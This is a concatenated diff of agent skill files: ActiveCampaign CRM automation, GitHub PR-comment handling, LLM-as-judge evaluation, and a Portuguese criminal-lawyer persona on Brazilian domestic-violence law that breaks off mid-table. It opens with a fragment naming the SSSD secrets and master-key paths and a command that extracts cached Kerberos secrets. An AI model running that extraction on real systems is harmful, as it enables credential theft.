/var/lib/sss/secrets/secrets.ldb
# Key location
/var/lib/sss/secrets/.secrets.mkey
# Extract
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
```
@@ -0,0 +1,209 @@
---
type: "agent_requested"
---
# ActiveCampaign Automation via Rube MCP
Automate ActiveCampaign CRM and marketing automation operations through Composio's ActiveCampaign toolkit via Rube MCP.
## Prerequisites
- Rube MCP must be connected (RUBE_SEARCH_TOOLS available)
- Active ActiveCampaign connection via `RUBE_MANAGE_CONNECTIONS` with toolkit `active_campaign`
- Always call `RUBE_SEARCH_TOOLS` first to get current tool schemas
## Setup
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
1. Verify Rube MCP is available by confirming `RUBE_SEARCH_TOOLS` responds
2. Call `RUBE_MANAGE_CONNECTIONS` with toolkit `active_campaign`
3. If connection is not ACTIVE, follow the returned auth link to complete ActiveCampaign authentication
4. Confirm connection status shows ACTIVE before running any workflows
## Core Workflows
### 1. Create and Find Contacts
**When to use**: User wants to create new contacts or look up existing ones
**Tool sequence**:
1. `ACTIVE_CAMPAIGN_FIND_CONTACT` - Search for an existing contact [Optional]
2. `ACTIVE_CAMPAIGN_CREATE_CONTACT` - Create a new contact [Required]
**Key parameters for find**:
- `email`: Search by email address
- `id`: Search by ActiveCampaign contact ID
- `phone`: Search by phone number
**Key parameters for create**:
- `email`: Contact email address (required)
- `first_name`: Contact first name
- `last_name`: Contact last name
- `phone`: Contact phone number
- `organization_name`: Contact's organization
- `job_title`: Contact's job title
- `tags`: Comma-separated list of tags to apply
**Pitfalls**:
- `email` is the only required field for contact creation
- Phone search uses a general search parameter internally; it may return partial matches
- When combining `email` and `phone` in FIND_CONTACT, results are filtered client-side
- Tags provided during creation are applied immediately
- Creating a contact with an existing email may update the existing contact
### 2. Manage Contact Tags
**When to use**: User wants to add or remove tags from contacts
**Tool sequence**:
1. `ACTIVE_CAMPAIGN_FIND_CONTACT` - Find contact by email or ID [Prerequisite]
2. `ACTIVE_CAMPAIGN_MANAGE_CONTACT_TAG` - Add or remove tags [Required]
**Key parameters**:
- `action`: 'Add' or 'Remove' (required)
- `tags`: Tag names as comma-separated string or array of strings (required)
- `contact_id`: Contact ID (provide this or contact_email)
- `contact_email`: Contact email address (alternative to contact_id)
**Pitfalls**:
- `action` values are capitalized: 'Add' or 'Remove' (not lowercase)
- Tags can be a comma-separated string ('tag1, tag2') or an array (['tag1', 'tag2'])
- Either `contact_id` or `contact_email` must be provided; `contact_id` takes precedence
- Adding a tag that does not exist creates it automatically
- Removing a non-existent tag is a no-op (does not error)
### 3. Manage List Subscriptions
**When to use**: User wants to subscribe or unsubscribe contacts from lists
**Tool sequence**:
1. `ACTIVE_CAMPAIGN_FIND_CONTACT` - Find the contact [Prerequisite]
2. `ACTIVE_CAMPAIGN_MANAGE_LIST_SUBSCRIPTION` - Subscribe or unsubscribe [Required]
**Key parameters**:
- `action`: 'subscribe' or 'unsubscribe' (required)
- `list_id`: Numeric list ID string (required)
- `email`: Contact email address (provide this or contact_id)
- `contact_id`: Numeric contact ID string (alternative to email)
**Pitfalls**:
- `action` values are lowercase: 'subscribe' or 'unsubscribe'
- `list_id` is a numeric string (e.g., '2'), not the list name
- List IDs can be retrieved via the GET /api/3/lists endpoint (not available as a Composio tool; use the ActiveCampaign UI)
- If both `email` and `contact_id` are provided, `contact_id` takes precedence
- Unsubscribing changes status to '2' (unsubscribed) but the relationship record persists
### 4. Add Contacts to Automations
**When to use**: User wants to enroll a contact in an automation workflow
**Tool sequence**:
1. `ACTIVE_CAMPAIGN_FIND_CONTACT` - Verify contact exists [Prerequisite]
2. `ACTIVE_CAMPAIGN_ADD_CONTACT_TO_AUTOMATION` - Enroll contact in automation [Required]
**Key parameters**:
- `contact_email`: Email of the contact to enroll (required)
- `automation_id`: ID of the target automation (required)
**Pitfalls**:
- The contact must already exist in ActiveCampaign
- Automations can only be created through the ActiveCampaign UI, not via API
- `automation_id` must reference an existing, active automation
- The tool performs a two-step process: lookup contact by email, then enroll
- Automation IDs can be found in the ActiveCampaign UI or via GET /api/3/automations
### 5. Create Contact Tasks
**When to use**: User wants to create follow-up tasks associated with contacts
**Tool sequence**:
1. `ACTIVE_CAMPAIGN_FIND_CONTACT` - Find the contact to associate the task with [Prerequisite]
2. `ACTIVE_CAMPAIGN_CREATE_CONTACT_TASK` - Create the task [Required]
**Key parameters**:
- `relid`: Contact ID to associate the task with (required)
- `duedate`: Due date in ISO 8601 format with timezone (required, e.g., '2025-01-15T14:30:00-05:00')
- `dealTasktype`: Task type ID based on available types (required)
- `title`: Task title
- `note`: Task description/content
- `assignee`: User ID to assign the task to
- `edate`: End date in ISO 8601 format (must be later than duedate)
- `status`: 0 for incomplete, 1 for complete
**Pitfalls**:
- `duedate` must be a valid ISO 8601 datetime with timezone offset; do NOT use placeholder values
- `edate` must be later than `duedate`
- `dealTasktype` is a string ID referencing task types configured in ActiveCampaign
- `relid` is the numeric contact ID, not the email address
- `assignee` is a user ID; resolve user names to IDs via the ActiveCampaign UI
## Common Patterns
### Contact Lookup Flow
```
1. Call ACTIVE_CAMPAIGN_FIND_CONTACT with email
2. If found, extract contact ID for subsequent operations
3. If not found, create contact with ACTIVE_CAMPAIGN_CREATE_CONTACT
4. Use contact ID for tags, subscriptions, or automations
```
### Bulk Contact Tagging
```
1. For each contact, call ACTIVE_CAMPAIGN_MANAGE_CONTACT_TAG
2. Use contact_email to avoid separate lookup calls
3. Batch with reasonable delays to respect rate limits
```
### ID Resolution
**Contact email -> Contact ID**:
```
1. Call ACTIVE_CAMPAIGN_FIND_CONTACT with email
2. Extract id from the response
```
## Known Pitfalls
**Action Capitalization**:
- Tag actions: 'Add', 'Remove' (capitalized)
- Subscription actions: 'subscribe', 'unsubscribe' (lowercase)
- Mixing up capitalization causes errors
**ID Types**:
- Contact IDs: numeric strings (e.g., '123')
- List IDs: numeric strings
- Automation IDs: numeric strings
- All IDs should be passed as strings, not integers
**Automations**:
- Automations cannot be created via API; only enrollment is possible
- Automation must be active to accept new contacts
- Enrolling a contact already in the automation may have no effect
**Rate Limits**:
- ActiveCampaign API has rate limits per account
- Implement backoff on 429 responses
- Batch operations should be spaced appropriately
**Response Parsing**:
- Response data may be nested under `data` or `data.data`
- Parse defensively with fallback patterns
- Contact search may return multiple results; match by email for accuracy
## Quick Reference
| Task | Tool Slug | Key Params |
|------|-----------|------------|
| Find contact | ACTIVE_CAMPAIGN_FIND_CONTACT | email, id, phone |
| Create contact | ACTIVE_CAMPAIGN_CREATE_CONTACT | email, first_name, last_name, tags |
| Add/remove tags | ACTIVE_CAMPAIGN_MANAGE_CONTACT_TAG | action, tags, contact_email |
| Subscribe/unsubscribe | ACTIVE_CAMPAIGN_MANAGE_LIST_SUBSCRIPTION | action, list_id, email |
| Add to automation | ACTIVE_CAMPAIGN_ADD_CONTACT_TO_AUTOMATION | contact_email, automation_id |
| Create task | ACTIVE_CAMPAIGN_CREATE_CONTACT_TASK | relid, duedate, dealTasktype, title |
## When to Use
This skill is applicable to execute the workflow or actions described in the overview.
@@ -0,0 +1,57 @@
---
type: "agent_requested"
---
# Address GitHub Comments
## Overview
Efficiently address PR review comments or issue feedback using the GitHub CLI (`gh`). This skill ensures all feedback is addressed systematically.
## Prerequisites
Ensure `gh` is authenticated.
```bash
gh auth status
```
If not logged in, run `gh auth login`.
## Workflow
### 1. Inspect Comments
Fetch the comments for the current branch's PR.
```bash
gh pr view --comments
```
Or use a custom script if available to list threads.
### 2. Categorize and Plan
- List the comments and review threads.
- Propose a fix for each.
- **Wait for user confirmation** on which comments to address first if there are many.
### 3. Apply Fixes
Apply the code changes for the selected comments.
### 4. Respond to Comments
Once fixed, respond to the threads as resolved.
```bash
gh pr comment <PR_NUMBER> --body "Addressed in latest commit."
```
## Common Mistakes
- **Applying fixes without understanding context**: Always read the surrounding code of a comment.
- **Not verifying auth**: Check `gh auth status` before starting.
## When to Use
This skill is applicable to execute the workflow or actions described in the overview.
@@ -0,0 +1,453 @@
---
type: "agent_requested"
---
# Advanced Evaluation
This skill covers production-grade techniques for evaluating LLM outputs using LLMs as judges. It synthesizes research from academic papers, industry practices, and practical implementation experience into actionable patterns for building reliable evaluation systems.
**Key insight**: LLM-as-a-Judge is not a single technique but a family of approaches, each suited to different evaluation contexts. Choosing the right approach and mitigating known biases is the core competency this skill develops.
## When to Activate
Activate this skill when:
- Building automated evaluation pipelines for LLM outputs
- Comparing multiple model responses to select the best one
- Establishing consistent quality standards across evaluation teams
- Debugging evaluation systems that show inconsistent results
- Designing A/B tests for prompt or model changes
- Creating rubrics for human or automated evaluation
- Analyzing correlation between automated and human judgments
## Core Concepts
### The Evaluation Taxonomy
Evaluation approaches fall into two primary categories with distinct reliability profiles:
**Direct Scoring**: A single LLM rates one response on a defined scale.
- Best for: Objective criteria (factual accuracy, instruction following, toxicity)
- Reliability: Moderate to high for well-defined criteria
- Failure mode: Score calibration drift, inconsistent scale interpretation
**Pairwise Comparison**: An LLM compares two responses and selects the better one.
- Best for: Subjective preferences (tone, style, persuasiveness)
- Reliability: Higher than direct scoring for preferences
- Failure mode: Position bias, length bias
Research from the MT-Bench paper (Zheng et al., 2023) establishes that pairwise comparison achieves higher agreement with human judges than direct scoring for preference-based evaluation, while direct scoring remains appropriate for objective criteria with clear ground truth.
### The Bias Landscape
LLM judges exhibit systematic biases that must be actively mitigated:
**Position Bias**: First-position responses receive preferential treatment in pairwise comparison. Mitigation: Evaluate twice with swapped positions, use majority vote or consistency check.
**Length Bias**: Longer responses are rated higher regardless of quality. Mitigation: Explicit prompting to ignore length, length-normalized scoring.
**Self-Enhancement Bias**: Models rate their own outputs higher. Mitigation: Use different models for generation and evaluation, or acknowledge limitation.
**Verbosity Bias**: Detailed explanations receive higher scores even when unnecessary. Mitigation: Criteria-specific rubrics that penalize irrelevant detail.
**Authority Bias**: Confident, authoritative tone rated higher regardless of accuracy. Mitigation: Require evidence citation, fact-checking layer.
### Metric Selection Framework
Choose metrics based on the evaluation task structure:
| Task Type | Primary Metrics | Secondary Metrics |
|-----------|-----------------|-------------------|
| Binary classification (pass/fail) | Recall, Precision, F1 | Cohen's κ |
| Ordinal scale (1-5 rating) | Spearman's ρ, Kendall's τ | Cohen's κ (weighted) |
| Pairwise preference | Agreement rate, Position consistency | Confidence calibration |
| Multi-label | Macro-F1, Micro-F1 | Per-label precision/recall |
The critical insight: High absolute agreement matters less than systematic disagreement patterns. A judge that consistently disagrees with humans on specific criteria is more problematic than one with random noise.
## Evaluation Approaches
### Direct Scoring Implementation
Direct scoring requires three components: clear criteria, a calibrated scale, and structured output format.
**Criteria Definition Pattern**:
```
Criterion: [Name]
Description: [What this criterion measures]
Weight: [Relative importance, 0-1]
```
**Scale Calibration**:
- 1-3 scales: Binary with neutral option, lowest cognitive load
- 1-5 scales: Standard Likert, good balance of granularity and reliability
- 1-10 scales: High granularity but harder to calibrate, use only with detailed rubrics
**Prompt Structure for Direct Scoring**:
```
You are an expert evaluator assessing response quality.
## Task
Evaluate the following response against each criterion.
## Original Prompt
{prompt}
## Response to Evaluate
{response}
## Criteria
{for each criterion: name, description, weight}
## Instructions
For each criterion:
1. Find specific evidence in the response
2. Score according to the rubric (1-{max} scale)
3. Justify your score with evidence
4. Suggest one specific improvement
## Output Format
Respond with structured JSON containing scores, justifications, and summary.
```
**Chain-of-Thought Requirement**: All scoring prompts must require justification before the score. Research shows this improves reliability by 15-25% compared to score-first approaches.
### Pairwise Comparison Implementation
Pairwise comparison is inherently more reliable for preference-based evaluation but requires bias mitigation.
**Position Bias Mitigation Protocol**:
1. First pass: Response A in first position, Response B in second
2. Second pass: Response B in first position, Response A in second
3. Consistency check: If passes disagree, return TIE with reduced confidence
4. Final verdict: Consistent winner with averaged confidence
**Prompt Structure for Pairwise Comparison**:
```
You are an expert evaluator comparing two AI responses.
## Critical Instructions
- Do NOT prefer responses because they are longer
- Do NOT prefer responses based on position (first vs second)
- Focus ONLY on quality according to the specified criteria
- Ties are acceptable when responses are genuinely equivalent
## Original Prompt
{prompt}
## Response A
{response_a}
## Response B
{response_b}
## Comparison Criteria
{criteria list}
## Instructions
1. Analyze each response independently first
2. Compare them on each criterion
3. Determine overall winner with confidence level
## Output Format
JSON with per-criterion comparison, overall winner, confidence (0-1), and reasoning.
```
**Confidence Calibration**: Confidence scores should reflect position consistency:
- Both passes agree: confidence = average of individual confidences
- Passes disagree: confidence = 0.5, verdict = TIE
### Rubric Generation
Well-defined rubrics reduce evaluation variance by 40-60% compared to open-ended scoring.
**Rubric Components**:
1. **Level descriptions**: Clear boundaries for each score level
2. **Characteristics**: Observable features that define each level
3. **Examples**: Representative text for each level (optional but valuable)
4. **Edge cases**: Guidance for ambiguous situations
5. **Scoring guidelines**: General principles for consistent application
**Strictness Calibration**:
- **Lenient**: Lower bar for passing scores, appropriate for encouraging iteration
- **Balanced**: Fair, typical expectations for production use
- **Strict**: High standards, appropriate for safety-critical or high-stakes evaluation
**Domain Adaptation**: Rubrics should use domain-specific terminology. A "code readability" rubric mentions variables, functions, and comments. A "medical accuracy" rubric references clinical terminology and evidence standards.
## Practical Guidance
### Evaluation Pipeline Design
Production evaluation systems require multiple layers:
```
┌─────────────────────────────────────────────────┐
│ Evaluation Pipeline │
├─────────────────────────────────────────────────┤
│ │
│ Input: Response + Prompt + Context │
│ │ │
│ ▼ │
│ ┌─────────────────────┐ │
│ │ Criteria Loader │ ◄── Rubrics, weights │
│ └──────────┬──────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────────┐ │
│ │ Primary Scorer │ ◄── Direct or Pairwise │
│ └──────────┬──────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────────┐ │
│ │ Bias Mitigation │ ◄── Position swap, etc. │
│ └──────────┬──────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────────┐ │
│ │ Confidence Scoring │ ◄── Calibration │
│ └──────────┬──────────┘ │
│ │ │
│ ▼ │
│ Output: Scores + Justifications + Confidence │
│ │
└─────────────────────────────────────────────────┘
```
### Common Anti-Patterns
**Anti-pattern: Scoring without justification**
- Problem: Scores lack grounding, difficult to debug or improve
- Solution: Always require evidence-based justification before score
**Anti-pattern: Single-pass pairwise comparison**
- Problem: Position bias corrupts results
- Solution: Always swap positions and check consistency
**Anti-pattern: Overloaded criteria**
- Problem: Criteria measuring multiple things are unreliable
- Solution: One criterion = one measurable aspect
**Anti-pattern: Missing edge case guidance**
- Problem: Evaluators handle ambiguous cases inconsistently
- Solution: Include edge cases in rubrics with explicit guidance
**Anti-pattern: Ignoring confidence calibration**
- Problem: High-confidence wrong judgments are worse than low-confidence
- Solution: Calibrate confidence to position consistency and evidence strength
### Decision Framework: Direct vs. Pairwise
Use this decision tree:
```
Is there an objective ground truth?
├── Yes → Direct Scoring
│ └── Examples: factual accuracy, instruction following, format compliance
│
└── No → Is it a preference or quality judgment?
├── Yes → Pairwise Comparison
│ └── Examples: tone, style, persuasiveness, creativity
│
└── No → Consider reference-based evaluation
└── Examples: summarization (compare to source), translation (compare to reference)
```
### Scaling Evaluation
For high-volume evaluation:
1. **Panel of LLMs (PoLL)**: Use multiple models as judges, aggregate votes
- Reduces individual model bias
- More expensive but more reliable for high-stakes decisions
2. **Hierarchical evaluation**: Fast cheap model for screening, expensive model for edge cases
- Cost-effective for large volumes
- Requires calibration of screening threshold
3. **Human-in-the-loop**: Automated evaluation for clear cases, human review for low-confidence
- Best reliability for critical applications
- Design feedback loop to improve automated evaluation
## Examples
### Example 1: Direct Scoring for Accuracy
**Input**:
```
Prompt: "What causes seasons on Earth?"
Response: "Seasons are caused by Earth's tilted axis. As Earth orbits the Sun,
different hemispheres receive more direct sunlight at different times of year."
Criterion: Factual Accuracy (weight: 1.0)
Scale: 1-5
```
**Output**:
```json
{
"criterion": "Factual Accuracy",
"score": 5,
"evidence": [
"Correctly identifies axial tilt as primary cause",
"Correctly explains differential sunlight by hemisphere",
"No factual errors present"
],
"justification": "Response accurately explains the cause of seasons with correct
scientific reasoning. Both the axial tilt and its effect on sunlight distribution
are correctly described.",
"improvement": "Could add the specific tilt angle (23.5°) for completeness."
}
```
### Example 2: Pairwise Comparison with Position Swap
**Input**:
```
Prompt: "Explain machine learning to a beginner"
Response A: [Technical explanation with jargon]
Response B: [Simple analogy-based explanation]
Criteria: ["clarity", "accessibility"]
```
**First Pass (A first)**:
```json
{ "winner": "B", "confidence": 0.8 }
```
**Second Pass (B first)**:
```json
{ "winner": "A", "confidence": 0.6 }
```
(Note: Winner is A because B was in first position)
**Mapped Second Pass**:
```json
{ "winner": "B", "confidence": 0.6 }
```
**Final Result**:
```json
{
"winner": "B",
"confidence": 0.7,
"positionConsistency": {
"consistent": true,
"firstPassWinner": "B",
"secondPassWinner": "B"
}
}
```
### Example 3: Rubric Generation
**Input**:
```
criterionName: "Code Readability"
criterionDescription: "How easy the code is to understand and maintain"
domain: "software engineering"
scale: "1-5"
strictness: "balanced"
```
**Output** (abbreviated):
```json
{
"levels": [
{
"score": 1,
"label": "Poor",
"description": "Code is difficult to understand without significant effort",
"characteristics": [
"No meaningful variable or function names",
"No comments or documentation",
"Deeply nested or convoluted logic"
]
},
{
"score": 3,
"label": "Adequate",
"description": "Code is understandable with some effort",
"characteristics": [
"Most variables have meaningful names",
"Basic comments present for complex sections",
"Logic is followable but could be cleaner"
]
},
{
"score": 5,
"label": "Excellent",
"description": "Code is immediately clear and maintainable",
"characteristics": [
"All names are descriptive and consistent",
"Comprehensive documentation",
"Clean, modular structure"
]
}
],
"edgeCases": [
{
"situation": "Code is well-structured but uses domain-specific abbreviations",
"guidance": "Score based on readability for domain experts, not general audience"
}
]
}
```
## Guidelines
1. **Always require justification before scores** - Chain-of-thought prompting improves reliability by 15-25%
2. **Always swap positions in pairwise comparison** - Single-pass comparison is corrupted by position bias
3. **Match scale granularity to rubric specificity** - Don't use 1-10 without detailed level descriptions
4. **Separate objective and subjective criteria** - Use direct scoring for objective, pairwise for subjective
5. **Include confidence scores** - Calibrate to position consistency and evidence strength
6. **Define edge cases explicitly** - Ambiguous situations cause the most evaluation variance
7. **Use domain-specific rubrics** - Generic rubrics produce generic (less useful) evaluations
8. **Validate against human judgments** - Automated evaluation is only valuable if it correlates with human assessment
9. **Monitor for systematic bias** - Track disagreement patterns by criterion, response type, model
10. **Design for iteration** - Evaluation systems improve with feedback loops
## Integration
This skill integrates with:
- **context-fundamentals** - Evaluation prompts require effective context structure
- **tool-design** - Evaluation tools need proper schemas and error handling
- **context-optimization** - Evaluation prompts can be optimized for token efficiency
- **evaluation** (foundational) - This skill extends the foundational evaluation concepts
## References
Internal reference:
- LLM-as-Judge Implementation Patterns
- Bias Mitigation Techniques
- Metric Selection Guide
External research:
- [Eugene Yan: Evaluating the Effectiveness of LLM-Evaluators](https://eugeneyan.com/writing/llm-evaluators/)
- [Judging LLM-as-a-Judge (Zheng et al., 2023)](https://arxiv.org/abs/2306.05685)
- [G-Eval: NLG Evaluation using GPT-4 (Liu et al., 2023)](https://arxiv.org/abs/2303.16634)
- [Large Language Models are not Fair Evaluators (Wang et al., 2023)](https://arxiv.org/abs/2305.17926)
Related skills in this collection:
- evaluation - Foundational evaluation concepts
- context-fundamentals - Context structure for evaluation prompts
- tool-design - Building evaluation tools
---
## Skill Metadata
**Created**: 2024-12-24
**Last Updated**: 2024-12-24
**Author**: Muratcan Koylan
**Version**: 1.0.0
@@ -0,0 +1,934 @@
---
type: "agent_requested"
---
# ADVOGADO CRIMINALISTA SENIOR — ESPECIALISTA EM DIREITO PENAL E MARIA DA PENHA
## Overview
Advogado criminalista especializado em Maria da Penha, violencia domestica, feminicidio, direito penal brasileiro, medidas protetivas, inquerito policial e acao penal.
## When to Use This Skill
- When the user mentions "maria da penha" or related topics
- When the user mentions "violencia domestica" or related topics
- When the user mentions "feminicidio" or related topics
- When the user mentions "direito penal" or related topics
- When the user mentions "crime" or related topics
- When the user mentions "criminal" or related topics
## Do Not Use This Skill When
- The task is unrelated to advogado criminal
- A simpler, more specific tool can handle the request
- The user needs general-purpose assistance without domain expertise
## How It Works
Voce e um **Advogado Criminalista Senior** com mais de 20 anos de atuacao equivalente a:
- Especialista em **Direito Penal e Processual Penal** (CP + CPP completos)
- Especialista em **Violencia Domestica e Familiar** (Lei Maria da Penha 11.340/2006 e legislacao correlata)
- Especialista em **Feminicidio** (Art. 121-A CP — Lei 14.994/2024 "Pacote Antifeminicidio")
- Especialista em **Litigancia de Ma-Fe e Ardilosidade Processual** (CPC 80-81, Art. 347 CP)
- Consultor em **Estrategia de Defesa e Acusacao** para todos os perfis de cliente
- Parecerista e assistente tecnico em **Direito Criminal**
Voce atua tanto na **defesa** quanto na **acusacao**, conforme o perfil do cliente. Sua analise e sempre imparcial, tecnica e fundamentada.
---
## 1. Identificar O Tipo De Solicitacao
| Tipo | Acao |
|------|------|
| Analise de caso criminal completo | Workflow de 10 etapas |
| Duvida juridica penal pontual | Resposta com base legal precisa |
| Violencia domestica / Maria da Penha | Protocolo especifico Maria da Penha |
| Litigancia de ma-fe / ardilosidade | Protocolo de abuso processual |
| Estrategia de defesa | Analise de teses defensivas |
| Estrategia de acusacao | Analise de teses acusatorias |
| Calculo de pena / dosimetria | Calculadora de dosimetria |
| Medida protetiva | Fluxo de medidas protetivas |
## 2. Identificar O Perfil Do Cliente
| Perfil | Abordagem |
|--------|-----------|
| **Vitima** | Acolhimento, orientacao de direitos, medidas protetivas, rede de apoio |
| **Acusado/Reu** | Analise tecnica da acusacao, teses defensivas, direitos constitucionais |
| **Advogado** | Linguagem tecnica, jurisprudencia, estrategia processual |
| **Leigo** | Linguagem acessivel, sem juridiques, orientacao pratica |
| **Estudante** | Didatico, com referencias doutrinarias e jurisprudenciais |
---
## 1.1 Mapa Da Legislacao Atualizada (2006-2025)
| Lei | Ano | Alteracao Principal |
|-----|-----|-------------------|
| **11.340** | 2006 | Lei Maria da Penha (texto base) |
| **13.641** | 2018 | Criminalizou descumprimento de medida protetiva (Art. 24-A) |
| **13.827** | 2019 | Delegado/policial podem afastar agressor do lar |
| **13.836** | 2019 | Acrescentou motivo de violencia domestica ao B.O. |
| **13.871** | 2019 | Agressor ressarce SUS e custos de seguranca publica |
| **13.880** | 2019 | Agressor ressarce custos de deslocamento da vitima |
| **13.882** | 2019 | Vitima sera informada de soltura/fuga do agressor |
| **13.894** | 2019 | Preservacao da relacao trabalhista da vitima |
| **14.022** | 2020 | Atendimento presencial obrigatorio pela autoridade policial |
| **14.132** | 2021 | Crime de stalking/perseguicao (Art. 147-A CP) |
| **14.188** | 2021 | Crime de violencia psicologica (Art. 147-B CP) + Sinal Vermelho |
| **14.310** | 2022 | Registro imediato e rastreamento de medida protetiva |
| **14.550** | 2023 | Competencia federal para violencia domestica em terras indigenas |
| **14.857** | 2024 | Sigilo do nome da vitima |
| **14.887** | 2024 | Alteracao do Art. 9 (assistencia a vitima) |
| **14.994** | 2024 | **PACOTE ANTIFEMINICIDIO** — feminicidio autonomo, penas majoradas |
| **15.125** | 2025 | Monitoramento eletronico do agressor (tornozeleira) |
| **15.212** | 2025 | Nome oficial "Lei Maria da Penha" incorporado |
| **15.280** | 2025 | Medidas protetivas para vitimas de crimes sexuais + novo Art. 338-A CPP |
## 1.2 Formas De Violencia (Art. 7 Da Lei 11.340/2006)
| Forma | Definicao | Exemplos |
|-------|-----------|----------|
| **Fisica** (I) | Ofensa a integridade ou saude corporal | Tapas, socos, empurroes, queimaduras, estrangulamento |
| **Psicologica** (II) | Dano emocional, diminuicao da autoestima, controle | Humilhacao, ameaca, isolamento, gaslighting, manipulacao |
| **Sexual** (III) | Conduta que constranja a presenciar/manter/participar de relacao sexual | Estupro marital, impedir uso de contraceptivo, forcar aborto |
| **Patrimonial** (IV) | Retencao, subtracao, destruicao de objetos/instrumentos de trabalho | Reter documentos, destruir celular, controlar dinheiro |
| **Moral** (V) | Calunia, difamacao ou injuria | Acusar de traicao em publico, expor intimidade, xingar |
## 1.3 Medidas Protetivas De Urgencia
#### Contra o Agressor (Art. 22)
| Medida | Descricao |
|--------|-----------|
| **I** | Suspensao de porte/posse de arma |
| **II** | Afastamento do lar/domicilio |
| **III-a** | Proibicao de aproximacao (distancia minima fixada pelo juiz) |
| **III-b** | Proibicao de contato por qualquer meio |
| **III-c** | Proibicao de frequentar certos lugares |
| **IV** | Restricao/suspensao de visitas aos filhos menores |
| **V** | Alimentos provisionais |
| **par. 5** | **Monitoramento eletronico** (tornozeleira) — Lei 15.125/2025 |
#### Em Favor da Vitima (Art. 23)
| Medida | Descricao |
|--------|-----------|
| **I** | Encaminhamento a programa de protecao |
| **II** | Retorno ao domicilio apos afastamento do agressor |
| **III** | Afastamento da vitima sem prejuizo de direitos |
| **IV** | Separacao de corpos |
#### Protecao Patrimonial (Art. 24)
| Medida | Descricao |
|--------|-----------|
| **I** | Restituicao de bens subtraidos pelo agressor |
| **II** | Proibicao de venda/locacao de bens comuns |
| **III** | Suspensao de procuracoes |
| **IV** | Caucao provisoria |
## 1.4 Fluxo De Atendimento — Vitima De Violencia Domestica
```
VITIMA em situacao de violencia
│
├─→ EMERGENCIA (risco imediato de vida)
│ └─→ Ligar 190 (PM) ou 180 (Central da Mulher)
│ └─→ Flagrante + afastamento imediato do agressor
│ └─→ Delegacia (B.O.) + DEAM se disponivel
│ └─→ Medida protetiva em ate 48h (Art. 12-C)
│
├─→ URGENCIA (violencia recorrente)
│ └─→ Delegacia (B.O.) ou DEAM
│ └─→ Solicitar medidas protetivas
│ └─→ Juiz decide em ate 48h (inaudita altera pars)
│ └─→ Monitoramento eletronico se necessario
│
├─→ ORIENTACAO (quer saber direitos)
│ └─→ CRAM (Centro de Referencia da Mulher)
│ └─→ Defensoria Publica / OAB / advogado particular
│ └─→ Avaliacao do caso + estrategia juridica
│
└─→ SINAL VERMELHO (Lei 14.188/2021)
└─→ Desenhar X vermelho na mao
└─→ Mostrar em farmacia/hospital participante
└─→ Estabelecimento aciona autoridades
```
## 1.5 Descumprimento De Medida Protetiva (Art. 24-A)
| Aspecto | Detalhe |
|---------|---------|
| **Crime** | Descumprir decisao judicial que defere medida protetiva |
| **Pena atual** | Reclusao de **2 a 5 anos** + multa (Lei 14.994/2024) |
| **Pena anterior** | Detencao de 3 meses a 2 anos (Lei 13.641/2018) |
| **Acao penal** | Publica incondicionada |
| **Flagrante** | Somente juiz concede fianca (nao o delegado) |
| **Natureza** | Crime formal — basta descumprir a ordem |
## 1.6 Sumulas Do Stj Sobre Maria Da Penha
| Sumula | Conteudo |
|--------|----------|
| **536** | Nao se aplica suspensao do processo (Art. 89 Lei 9.099) |
| **542** | Lesao corporal em violencia domestica = acao penal publica incondicionada |
| **588** | Nao cabe substituicao por pena restritiva de direitos |
| **589** | Principio da insignificancia e inaplicavel |
| **600** | Coabitacao nao e requisito para configurar violencia domestica |
---
## 2.1 Evolucao Legislativa
| Periodo | Enquadramento |
|---------|--------------|
| Ate 2015 | Homicidio simples/qualificado (Art. 121) |
| 2015-2024 | Qualificadora do homicidio (Art. 121, par. 2, VI) — Lei 13.104/2015 |
| **2024+** | **Crime autonomo** — Art. 121-A (Lei 14.994/2024) |
## 2.2 Tipificacao Atual
```
Art. 121-A. Matar mulher por razoes da condicao de sexo feminino:
Pena — reclusao de 20 a 40 anos
Considera-se razoes da condicao de sexo feminino:
I — violencia domestica e familiar
II — menosprezo ou discriminacao a condicao de mulher
```
## 2.3 Causas De Aumento (Par. 7 — Ate 1/3 A Mais)
| Causa | Aumento |
|-------|---------|
| Durante gestacao ou ate 3 meses apos parto | Ate 1/3 |
| Vitima e mae/responsavel por crianca ou deficiente | Ate 1/3 |
| Na presenca de descendente ou ascendente da vitima | Ate 1/3 |
| Em descumprimento de medida protetiva | Ate 1/3 |
**Pena maxima possivel: ate 53 anos e 4 meses** (40 + 1/3)
## 2.4 Caracteristicas Juridicas
| Aspecto | Detalhe |
|---------|---------|
| **Natureza da qualificadora** | **Objetiva** (STJ — nao depende de motivacao subjetiva) |
| **Crime hediondo** | Sim (Lei 8.072/90) |
| **Regime inicial** | Fechado |
| **Progressao** | 50% (primario) / 60% (reincidente) / 70% (reincidente especifico) |
| **Juri popular** | Sim — crime doloso contra a vida |
| **Fianca** | Inafiancavel (crime hediondo) |
| **Indulto** | Vedado |
| **Anistia/Graca** | Vedadas |
| **Liberdade provisoria** | Possivel em tese, mas dificilmente concedida |
---
## 3.1 Tabela De Crimes E Penas Atualizadas
| Crime | Base Legal | Pena | Acao Penal |
|-------|-----------|------|-----------|
| **Feminicidio** | Art. 121-A CP (Lei 14.994/2024) | 20-40 anos reclusao | Publica incondicionada |
| **Lesao corporal — violencia domestica** | Art. 129, par. 9 CP | 3 meses - 3 anos detencao | Publica incondicionada (Sum. 542) |
| **Lesao corporal — razao genero** | Art. 129, par. 13 CP (Lei 14.994/2024) | 2-5 anos reclusao | Publica incondicionada |
| **Violencia psicologica** | Art. 147-B CP (Lei 14.188/2021) | 6 meses - 2 anos reclusao + multa | Publica incondicionada |
| **Stalking/Perseguicao** | Art. 147-A CP (Lei 14.132/2021) | 6 meses - 2 anos reclusao + multa | Publica condicionada |
| **Stalking — razao genero** | Art. 147-A, par. 1, II CP | +50% da pena | Publica condicionada |
| **Ameaca** | Art. 147 CP | 1-6 meses detencao | Publica incondicionada (viol. domestica) |
| **Ameaca** (fora viol. domestica) | Art. 147 CP | 1-6 meses detencao | Publica condicionada |
| **Descumprimento medida protetiva** | Art. 24-A LMP (Lei 14.994/2024) | 2-5 anos reclusao + multa | Publica incondicionada |
